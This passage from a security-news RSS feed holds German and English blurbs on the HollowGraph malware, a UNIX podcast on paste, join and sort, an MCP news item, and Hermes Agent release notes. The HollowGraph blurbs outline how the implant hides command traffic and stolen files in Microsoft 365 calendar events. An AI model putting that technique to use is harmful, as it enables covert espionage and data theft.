App-Berechtigungen am Leben zu halten. Für Unternehmen wird vor allem das Monitoring […]</p>
<div><a href="https://www.it-boltwise.de/hollowgraph-tarnt-kommando-und-datenabfluss-in-microsoft-365-kalendern.html">... den vollständigen Artikel <strong>»HollowGraph tarnt Kommando und Datenabfluss in Microsoft-365-Kalendern«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/hollowgraph-tarnt-kommando-und-datenabfluss-in-microsoft-365-kalendern.html">HollowGraph tarnt Kommando und Datenabfluss in Microsoft-365-Kalendern</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[HollowGraph missbraucht Microsoft-365-Kalender als C2-Kanal bis 2050]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine neue Spionage-Implant ist bekannt geworden: HollowGraph nutzt einen kompromittierten Microsoft-365-Kalender als verdeckten Befehlskanal und versteckt gestohlene Dateien als Anhänge in Ereignissen mit dem Datum 2050. Der Ansatz läuft über legitimen Microsoft-Graph-API-T...]]></description>
<link>https://tsecurity.de/de/3682542/it-security-nachrichten/hollowgraph-missbraucht-microsoft-365-kalender-als-c2-kanal-bis-2050/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682542/it-security-nachrichten/hollowgraph-missbraucht-microsoft-365-kalender-als-c2-kanal-bis-2050/</guid>
<pubDate>Tue, 21 Jul 2026 04:24:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-c2-2050.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-c2-2050.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-c2-2050-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-c2-2050-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-c2-2050-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-c2-2050-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-c2-2050-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine neue Spionage-Implant ist bekannt geworden: HollowGraph nutzt einen kompromittierten Microsoft-365-Kalender als verdeckten Befehlskanal und versteckt gestohlene Dateien als Anhänge in Ereignissen mit dem Datum 2050. Der Ansatz läuft über legitimen Microsoft-Graph-API-Traffic und tarnt sich damit gegen typische Netzwerkregeln, die an Angreifer-Ziele gekoppelt sind. Zusätzlich hält DNS-basierte Entra-ID-Login-Daten den Zugriff aufrecht […]</p>
<div><a href="https://www.it-boltwise.de/hollowgraph-missbraucht-microsoft-365-kalender-als-c2-kanal-bis-2050.html">... den vollständigen Artikel <strong>»HollowGraph missbraucht Microsoft-365-Kalender als C2-Kanal bis 2050«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/hollowgraph-missbraucht-microsoft-365-kalender-als-c2-kanal-bis-2050.html">HollowGraph missbraucht Microsoft-365-Kalender als C2-Kanal bis 2050</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[HPR4687: UNIX Curio #11 - Merging Files]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


ether


This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.


I frequently find myself reaching for the 
cut
 utility when writing scripts to extract o...]]></description>
<link>https://tsecurity.de/de/3682413/podcasts/hpr4687-unix-curio-11-merging-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682413/podcasts/hpr4687-unix-curio-11-merging-files/</guid>
<pubDate>Tue, 21 Jul 2026 02:03:23 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
ether</p>

<blockquote>
This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.</blockquote>

<p>
I frequently find myself reaching for the <code>
cut</code>
 utility when writing scripts to extract one piece of data from a line, or to select specific fields from a log file. While I am familiar with its counterpart, <code>
paste</code>
, I don't employ it very often because I don't typically need its functionality.</p>

<p>
This perhaps has to do with the fact that I rarely work with text files containing lists. For shorter lists, I usually end up using a spreadsheet and for larger ones, a relational database. Both are valuable tools with their own strengths and weaknesses, but it is good to also know about standard utilities for working with lists. After uploading UNIX Curio #8 (<a href="https://hackerpublicradio.org/eps/hpr4657/" rel="noopener noreferrer" target="_blank">
HPR episode 4657</a>
), I felt like maybe I had been too dismissive of the <code>
comm</code>
 utility in that episode and should talk more about tools that are useful when managing lists.</p>

<p>
I don't frequently find myself using <code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html" rel="noopener noreferrer" target="_blank">
paste</a>

</code>

<sup>
1</sup>
, but can explain how it works. Briefly, it is a rough opposite of <code>
cut</code>
—when given multiple files as arguments, it assembles the first line from each one separated by tabs, then the second line, and so on. Instead of tabs, a different delimiter can be chosen with the <code>
-d</code>
 option. Another option is <code>
-s</code>
, which swaps rows and columns so that the contents of each named file would appear on one line. While <code>
paste</code>
 itself doesn't qualify as a UNIX Curio in my opinion, there is one feature that does: a hyphen can be given as an argument multiple times. In this special case, the output is taken line by line from standard input, but is spread across as many columns as there are hyphens.</p>

<p>

<em>
Example of using </em>

<code>

<em>
paste</em>

</code>

<em>
 to turn the output of </em>

<code>

<em>
ls</em>

</code>

<em>
 into columns. Because these columns are separated by tabs, they don't necessarily line up when a filename is eight or more characters long. The </em>

<code>

<em>
-1</em>

</code>

<em>
 is not required for the second </em>

<code>

<em>
ls</em>

</code>

<em>
 command since that behavior is implied when output isn't going to a terminal. The </em>

<code>

<em>
-C</em>

</code>

<em>
 option to </em>

<code>

<em>
ls</em>

</code>

<em>
 usually gives nicer-looking output on a terminal—also, it lists in ascending order down by column. (Most implementations default to </em>

<code>

<em>
-C</em>

</code>

<em>
 when output goes to a terminal.) If you want items ascending along rows like the </em>

<code>

<em>
paste</em>

</code>

<em>
 example does, try </em>

<code>

<em>
ls -x</em>

</code>

<em>
 instead.</em>

</p>

<pre data-language="plain">
$ ls -1 /proc/net
anycast6
arp
bnep
connector
dev
dev_mcast
dev_snmp6
fib_trie
fib_triestat
hci
icmp
icmp6
if_inet6
igmp
igmp6
ip6_flowlabel
ip6_mr_cache
ip6_mr_vif
ip_mr_cache
ip_mr_vif
ip_tables_matches
ip_tables_names
[...35 more entries not shown...]
$ ls /proc/net | paste - - - -
anycast6        arp     bnep    connector
dev     dev_mcast       dev_snmp6       fib_trie
fib_triestat    hci     icmp    icmp6
if_inet6        igmp    igmp6   ip6_flowlabel
ip6_mr_cache    ip6_mr_vif      ip_mr_cache     ip_mr_vif
ip_tables_matches       ip_tables_names ip_tables_targets       ipv6_route
l2cap   mcfilter        mcfilter6       netfilter
netlink netstat packet  protocols
psched  ptype   raw     raw6
rfcomm  route   rt6_stats       rt_acct
rt_cache        sco     snmp    snmp6
sockstat        sockstat6       softnet_stat    stat
tcp     tcp6    udp     udp6
udplite udplite6        unix    wireless
xfrm_stat
$ ls -C /proc/net
anycast6      if_inet6           l2cap      rfcomm        tcp
arp           igmp               mcfilter   route         tcp6
bnep          igmp6              mcfilter6  rt6_stats     udp
connector     ip6_flowlabel      netfilter  rt_acct       udp6
dev           ip6_mr_cache       netlink    rt_cache      udplite
dev_mcast     ip6_mr_vif         netstat    sco           udplite6
dev_snmp6     ip_mr_cache        packet     snmp          unix
fib_trie      ip_mr_vif          protocols  snmp6         wireless
fib_triestat  ip_tables_matches  psched     sockstat      xfrm_stat
hci           ip_tables_names    ptype      sockstat6
icmp          ip_tables_targets  raw        softnet_stat
icmp6         ipv6_route         raw6       stat
$ ls -x /proc/net
anycast6           arp              bnep               connector     dev
dev_mcast          dev_snmp6        fib_trie           fib_triestat  hci
icmp               icmp6            if_inet6           igmp          igmp6
ip6_flowlabel      ip6_mr_cache     ip6_mr_vif         ip_mr_cache   ip_mr_vif
ip_tables_matches  ip_tables_names  ip_tables_targets  ipv6_route    l2cap
mcfilter           mcfilter6        netfilter          netlink       netstat
packet             protocols        psched             ptype         raw
raw6               rfcomm           route              rt6_stats     rt_acct
rt_cache           sco              snmp               snmp6         sockstat
sockstat6          softnet_stat     stat               tcp           tcp6
udp                udp6             udplite            udplite6      unix
wireless           xfrm_stat
</pre>

<p>
The <code>
paste</code>
 command has limitations—the files you give it must all be already arranged in the same order, and if any file is missing a value, it must have a blank line so that subsequent lines will match up correctly. The files do <em>
not</em>
 necessarily have to be sorted alphabetically, but whatever order they are in has to be the same. Check out HPR episodes <a href="https://hackerpublicradio.org/eps/hpr0962/" rel="noopener noreferrer" target="_blank">
962</a>
 and <a href="https://hackerpublicradio.org/eps/hpr4201/" rel="noopener noreferrer" target="_blank">
4201</a>
 for some more background on the <code>
paste</code>
 utility.</p>

<p>

<em>
Example of using </em>

<code>

<em>
paste</em>

</code>

<em>
 with files where some values are empty. Bob works from home so doesn't have an office assigned, and the laboratory Carol works in doesn't have a phone. This relies on the fact that the same line number in every file relates to the same person/entry.</em>

</p>

<pre data-language="plain">
$ cat names
Alice
Bob
Carol
Dave
$ cat offices
203

Lab6A
117
$ cat phones
+1 212-555-1234
+1 919-555-2345

+1 212-555-1278
$ paste names offices phones
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
</pre>

<p>
Our second UNIX Curio for today is <a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html" rel="noopener noreferrer" target="_blank">
a utility called </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html" rel="noopener noreferrer" target="_blank">
join</a>

</code>

<sup>
2</sup>
, which has a bit more sophistication. It operates on two files, which can have multiple columns, and combines them using the join field. By default, the first column/field in each file is the join field, and only entries that exist in both files are printed. The <code>
-1</code>
 and <code>
-2</code>
 options can be used to join on a different field, and <code>
-o</code>
 selects specific fields to be output. To make it so lines with missing entries also appear, you need to use the <code>
-a</code>
 option, but an actual empty string with separator won't be printed unless <code>
-o</code>
 is also present and includes the field.</p>

<p>
The default field separator character is one or more "blanks" in the current locale—for the POSIX locale, this means a space or a horizontal tab. The <code>
-t</code>
 option selects a different character and also removes the treatment of multiple occurrences as a single separator, making it possible to have an empty field in one or both of the files. By default, a single space is used to separate fields in the output. If <code>
-t</code>
 is given, the same character is used for separating fields in both input and output. You would need to pipe output through another tool like <code>
tr</code>
 if you wanted to have a different separator in the output.</p>

<p>
The <code>
join</code>
 utility might be an improvement over <code>
paste</code>
 in some cases, since the join field makes it a little easier to identify which entries match up across files. It is limited to operating only on two files (one of which can be standard input), so combining more than that requires either creating temporary intermediate files or chaining together <code>
join</code>
 commands in a pipeline. Another requirement is that all files must already be sorted in the current locale.</p>

<p>

<em>
Example showing how </em>

<code>

<em>
join</em>

</code>

<em>
 can be used with two tab-separated lists. The LC_ALL assignment forces </em>

<code>

<em>
join</em>

</code>

<em>
 to sort using the C (POSIX) locale instead of whatever might be set in your environment. The "@" on the header line has no special meaning; it is just there to make sure it sorts before any letters or numbers (in the C locale; it might not in other locales). Note that if </em>

<code>

<em>
-t</em>

</code>

<em>
 were not specified, </em>
plist<em>
 would be treated as having three fields because of the space separating the country code from the rest of the phone number.</em>

</p>

<pre data-language="plain">
$ export tab="$(printf '\t')" #To more easily use tab characters below
$ cat olist
@Name   Office
Alice   203
Carol   Lab6A
Dave    117
$ cat plist
@Name   Phone
Alice   +1 212-555-1234
Bob     +1 919-555-2345
Dave    +1 212-555-1278
$ LC_ALL=C join -t "$tab" olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Dave    117     +1 212-555-1278
$ LC_ALL=C join -t "$tab" -a 1 -a 2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #By default, join acts as if empty fields don't exist; use -o to include
$ LC_ALL=C join -t "$tab" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #The -e option sets a placeholder to use for empty fields
$ LC_ALL=C join -t "$tab" -e "(none)" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     (none)  +1 919-555-2345
Carol   Lab6A   (none)
Dave    117     +1 212-555-1278
</pre>

<p>
The brief description for <code>
join</code>
 is "relational database operator"—I won't dispute that, but in my view it offers far fewer capabilities than people would expect from today's relational databases. I would imagine that when most people think of those they have Structured Query Language (SQL) in mind, which offers a lot more flexibility and functions to operate on data. However, I can see how <code>
join</code>
 could be suitable for simple operations.</p>

<p>
Our last UNIX Curio for today relates to <a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html" rel="noopener noreferrer" target="_blank">
the </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html" rel="noopener noreferrer" target="_blank">
sort</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html" rel="noopener noreferrer" target="_blank">
 utility</a>

<sup>
3</sup>
. While, as you might expect, it is well-known for its ability to sort data, it has another feature that is more obscure. When used with the <code>
-m</code>
 option, instead of sorting the files given as arguments, it merges them together. All of the files are expected to already be sorted—once combined, the list that is output will also be sorted. The order in which the files are named does <em>
not</em>
 matter; it is not required for the contents of the first file to start before the second, just that both are sorted.</p>

<pre data-language="plain">
$ cat women
Alice
Carol
$ cat men
Bob
Dave
$ sort -m men women
Alice
Bob
Carol
Dave
</pre>

<p>
Imagine that you organize an annual event and have a separate pre-sorted list of attendees' e-mail addresses for each of the past three years. You are planning this year's event and want to send out an announcement to all of these people, as they will probably be interested. The command <code>
sort -m -u 2023list 2024list 2025list</code>
 would spit out a combined list that you can use for your e-mail blast. Because it is likely that some people would have attended in more than one year, I included the <code>
-u</code>
 option—it removes any duplicate entries.</p>

<p>
It is probably no surprise that the <code>
sort</code>
 utility appeared early on—it was in 1971's First Edition UNIX, though it didn't <a href="https://archive.org/details/a_research_unix_reader/page/n19/mode/1up" rel="noopener noreferrer" target="_blank">
gain the merging functionality until Fifth Edition</a>

<sup>
4</sup>
 in 1973. What <em>
did</em>
 come as a shock to me is that both <code>
cut</code>
 and <code>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1" rel="noopener noreferrer" target="_blank">
paste</a>

</code>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1" rel="noopener noreferrer" target="_blank">
 didn't show up until 1980 with System III</a>

<sup>
5</sup>
, and were actually preceded by <code>

<a href="https://man.cat-v.org/unix_7th/1/join" rel="noopener noreferrer" target="_blank">
join</a>

</code>

<a href="https://man.cat-v.org/unix_7th/1/join" rel="noopener noreferrer" target="_blank">
, which was in Seventh Edition UNIX</a>

<sup>
6</sup>
 from 1979. I assumed that at least <code>
cut</code>
 would have been around far earlier, given its usefulness and how firmly established it is, but I suppose it just <em>
seems</em>
 to have been with us forever.</p>

<p>
As mentioned, I don't typically manage data as text files containing lists, and I probably won't start using the <code>
join</code>
 utility or these features of <code>
paste</code>
 and <code>
sort</code>
 very much. But it is still useful to know that they exist and how they work. Hopefully this episode has taught you a bit about them.</p>

<p>
References:</p>

<ol>

<li>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html" rel="noopener noreferrer" target="_blank">
Paste specification</a>
 https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html</li>

<li>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html" rel="noopener noreferrer" target="_blank">
Join specification</a>
 https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html</li>

<li>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html" rel="noopener noreferrer" target="_blank">
Sort specification</a>
 https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html</li>

<li>

<a href="https://archive.org/details/a_research_unix_reader/page/n19/mode/1up" rel="noopener noreferrer" target="_blank">
A Research UNIX Reader: Fifth Edition sort manual page</a>
 https://archive.org/details/a_research_unix_reader/page/n19/mode/1up</li>

<li>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1" rel="noopener noreferrer" target="_blank">
System III paste manual page</a>
 https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1</li>

<li>

<a href="https://man.cat-v.org/unix_7th/1/join" rel="noopener noreferrer" target="_blank">
Seventh Edition UNIX join manual page</a>
 https://man.cat-v.org/unix_7th/1/join</li>

</ol>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4687/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[AI’s most important protocol is getting a little bit easier to use]]></title>
<description><![CDATA[The Model Context Protocol (MCP) is one of the basic building blocks of AI interoperability, giving AI models a secure way to access external data sources and services. It’s the plumbing that lets a chatbot reach into your calendar, your database, or your internal tools, instead of engineers buil...]]></description>
<link>https://tsecurity.de/de/3682186/it-nachrichten/ais-most-important-protocol-is-getting-a-little-bit-easier-to-use/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682186/it-nachrichten/ais-most-important-protocol-is-getting-a-little-bit-easier-to-use/</guid>
<pubDate>Mon, 20 Jul 2026 23:02:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Model Context Protocol (MCP) is one of the basic building blocks of AI interoperability, giving AI models a secure way to access external data sources and services. It’s the plumbing that lets a chatbot reach into your calendar, your database, or your internal tools, instead of engineers building custom pipes for every connection. Next […]]]></content:encoded>
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<title><![CDATA[Hackers Are Turning Microsoft 365 Calendar Invites Into Secret Malware Command Channels]]></title>
<description><![CDATA[A stealthy new malware strain called HOLLOWGRAPH that hijacks Microsoft 365 calendars to secretly communicate with hackers, disguising malicious commands as ordinary calendar invites. HOLLOWGRAPH is a .NET-compiled malware component that abuses the Microsoft Graph API through a compromised Micros...]]></description>
<link>https://tsecurity.de/de/3682005/it-security-nachrichten/hackers-are-turning-microsoft-365-calendar-invites-into-secret-malware-command-channels/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682005/it-security-nachrichten/hackers-are-turning-microsoft-365-calendar-invites-into-secret-malware-command-channels/</guid>
<pubDate>Mon, 20 Jul 2026 21:09:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A stealthy new malware strain called HOLLOWGRAPH that hijacks Microsoft 365 calendars to secretly communicate with hackers, disguising malicious commands as ordinary calendar invites. HOLLOWGRAPH is a .NET-compiled malware component that abuses the Microsoft Graph API through a compromised Microsoft…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hackers-are-turning-microsoft-365-calendar-invites-into-secret-malware-command-channels/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hackers-are-turning-microsoft-365-calendar-invites-into-secret-malware-command-channels/">Hackers Are Turning Microsoft 365 Calendar Invites Into Secret Malware Command Channels</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
